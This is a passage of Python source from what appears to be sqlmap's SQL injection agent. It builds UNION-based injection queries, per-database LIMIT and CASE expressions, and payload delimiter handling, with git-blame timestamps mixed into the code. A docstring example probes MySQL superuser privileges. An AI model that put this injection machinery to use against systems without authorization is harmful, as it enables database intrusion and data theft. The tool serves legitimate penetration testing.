if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
2012-09-06 17:51:38 +04:00
if fromTable:
if " FROM " not in inbandQuery or "(CASE " in inbandQuery or "(IIF" in inbandQuery:
2012-09-06 17:51:38 +04:00
inbandQuery += fromTable
2008-10-15 19:38:22 +04:00
if intoRegExp:
inbandQuery += intoRegExp
if multipleUnions:
inbandQuery += " UNION ALL SELECT "
for element in xrange(count):
if element > 0:
inbandQuery += ','
if element == position:
inbandQuery += multipleUnions
else:
inbandQuery += char
2012-09-06 17:51:38 +04:00
if fromTable:
inbandQuery += fromTable
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
2008-10-15 19:38:22 +04:00
return inbandQuery
2008-10-15 19:38:22 +04:00
2011-02-07 19:24:23 +03:00
def limitQuery(self, num, query, field=None, uniqueField=None):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param field: field within the query
@type field: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[Backend.getIdentifiedDbms()].limit.query
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
orderBy = False
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
elif Backend.isDbms(DBMS.FIREBIRD):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num+1, num+1)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if query.startswith("SELECT "):
delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
limitedQuery = "%s FROM (%s,%s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr)
else:
limitedQuery = "%s FROM (SELECT %s,%s" % (untilFrom, ','.join(f for f in field), limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif Backend.isDbms(DBMS.MSSQL):
forgeNotIn = True
if " ORDER BY " in limitedQuery:
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
for notDistinct in notDistincts:
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
if topNums:
topNums = topNums.groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
forgeNotIn = False
else:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " ORDER BY " not in fromFrom:
2011-02-09 17:34:18 +03:00
# Reference: http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, uniqueField or field)
else:
limitedQuery = "%s WHERE ISNULL(%s,' ') " % (limitedQuery, uniqueField or field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
2012-09-07 19:06:38 +04:00
limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1")
else:
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)
2011-02-08 03:02:54 +03:00
if orderBy:
limitedQuery += orderBy
return limitedQuery
def forgeQueryOutputLength(self, expression):
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)):
if selectTopExpr:
query = selectTopExpr.group(1)
elif selectDistinctExpr:
query = selectDistinctExpr.group(1)
elif selectFromExpr:
query = selectFromExpr.group(1)
elif selectExpr:
query = selectExpr.group(1)
else:
query = expression
if ( select and re.search("\A(COUNT|LTRIM)\(", query, re.I) ) or len(query) <= 1:
return query
if selectDistinctExpr:
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression)
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
lengthExpr += " AS %s" % randomStr(lowercase=True)
elif select:
lengthExpr = expression.replace(query, lengthQuery % query, 1)
else:
lengthExpr = lengthQuery % expression
return unescaper.unescape(lengthExpr)
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}
"""
2011-02-01 00:20:23 +03:00
caseExpression = expression
if Backend.getIdentifiedDbms() is not None and hasattr(queries[Backend.getIdentifiedDbms()], "case"):
2011-02-01 00:20:23 +03:00
caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression
2012-02-07 18:57:48 +04:00
if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
2012-02-07 16:05:23 +04:00
caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
2011-02-01 00:20:23 +03:00
return caseExpression
def addPayloadDelimiters(self, inpStr):
"""
Adds payload delimiters around the input string
"""
2012-05-10 18:15:17 +04:00
return "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER) if inpStr else inpStr
def removePayloadDelimiters(self, inpStr):
"""
Removes payload delimiters from inside the input string
"""
2012-05-10 18:15:17 +04:00
return inpStr.replace(PAYLOAD_DELIMITER, '') if inpStr else inpStr
def extractPayload(self, inpStr):
"""
Extracts payload from inside of the input string
"""
2012-05-10 18:15:17 +04:00
return extractRegexResult("(?s)%s(?P<result>.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), inpStr)
def replacePayload(self, inpStr, payload):
"""
Replaces payload inside the input string with a given payload
"""
2012-07-17 17:05:50 +04:00
return re.sub("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), inpStr) if inpStr else inpStr
def runAsDBMSUser(self, query):
2012-07-24 17:34:50 +04:00
if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query:
2012-07-10 03:19:32 +04:00
query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
return query
2008-10-15 19:38:22 +04:00
# SQL agent
agent = Agent()